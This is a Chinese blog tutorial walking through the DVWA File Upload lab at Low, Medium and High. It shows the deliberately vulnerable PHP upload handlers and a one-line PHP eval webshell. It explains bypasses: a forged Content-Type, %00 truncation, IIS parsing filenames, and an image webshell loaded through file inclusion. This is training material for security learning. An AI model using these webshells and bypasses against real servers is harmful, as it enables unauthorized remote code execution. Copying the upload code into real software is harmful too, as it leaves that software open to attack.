DVWA-06-File Upload

目录

1.概念

2.实验

2.1 Low

2.2 Medium

2.3.High


1.概念

File Upload,文件上传漏洞,上传文件时,如果服务端代码未对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp,aspx,php,jsp等格式文件)。

文件上传漏洞常常和解析漏洞配合使用,详细了解可自行查阅资料


2.实验

2.1 Low

先看代码


<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>
相关函数
basename(path,suffix),函数返回路径中的文件名部分,可选参数为空,则返回的文件名包含后缀名,反之不包含后缀名。
参数 描述
path 必需。规定要检查的路径。
suffix 可选。规定文件扩展名。如果文件有 suffix,则不会输出这个扩展名。

相关变量

$_FILES 是一个预定义的数组,用来获取通过 POST 方法上传文件的相关信息。如果为单个文件上传,那么 $_FILES 为二维数组;如果为多个文件上传,那么 $_FILES 为三维数组。

分析代码

服务器对上传的文件的类型,内容没有做任何的检查,过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

上传一句话木马文件shell.php

<?php @eval($_POST['attack']) ?>

上传成功

打开蚁剑进行连接

连接成功后就可以执行很多操作

2.2 Medium


<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

中等级就相对LOW,它对文件的类型和大小做了明确的限制。

( uploaded_type == “image/jpeg” || uploaded_type == “image/png” ) &&
( $uploaded_size < 100000 )

限定了格式为image/jpeg或是png 大小小于100000字节的文件才能上传

如果我们直接上传就会报错

上传一个普通图片文件,我们尝试使用burpsuite 拦截看一下上传格式

上传php文件

可以看到content-Type的内容不同,我们将上传php的改为图片类型的,发现上传成功了

关于shell连接就不再演示了。

2.3.High

代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1)

  • strrpos(),查找 "php" 在字符串中最后一次出现的位置:


substr ( string $string , int $start , int $length = ? ) : string,返回字符串的子串

这句话防范iis 6.0文件解析漏洞的,有时我们为了绕过限制会提交这样形式的文件:
xx.asp;.xx.jpg xx.jpg
上面那段话的作用是,会验证文件的最后一个点之后的格式,不管你如何写,都只验证图片格式。

 if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) )

strtolower()— 将字符串转化为小写

getimagesize函数,函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错,更限制了传文件的文件头必须为图像类型

move_uploaded_file(file,newlocal) 函数表示把给定的文件移动到新的位置

这句话对是说只识别jpg,jpeg,png格式,绕过方法有%00截断(PHP<5.3.4),然而现在很少有低版本的,所以我们采取图片马配合文件包含中的file的的伪协议的方式进行getshell

生成一句话图片马

可以用一句话木马生成​脚本生成,把图片拖进exe程序

然后,蚁剑添加连接

http://192.168.43.51/DVWA/vulnerabilities/fi/?page=file:///var/www/html/DVWA/hackable/uploads/highshell.jpg

在进行模拟终端,数据库操作前,我们应该右键浏览网站,进行登陆,保持连接状态。

然后,我们就可以连接成功了。

猜你喜欢

转载自blog.csdn.net/weixin_43198291/article/details/114226098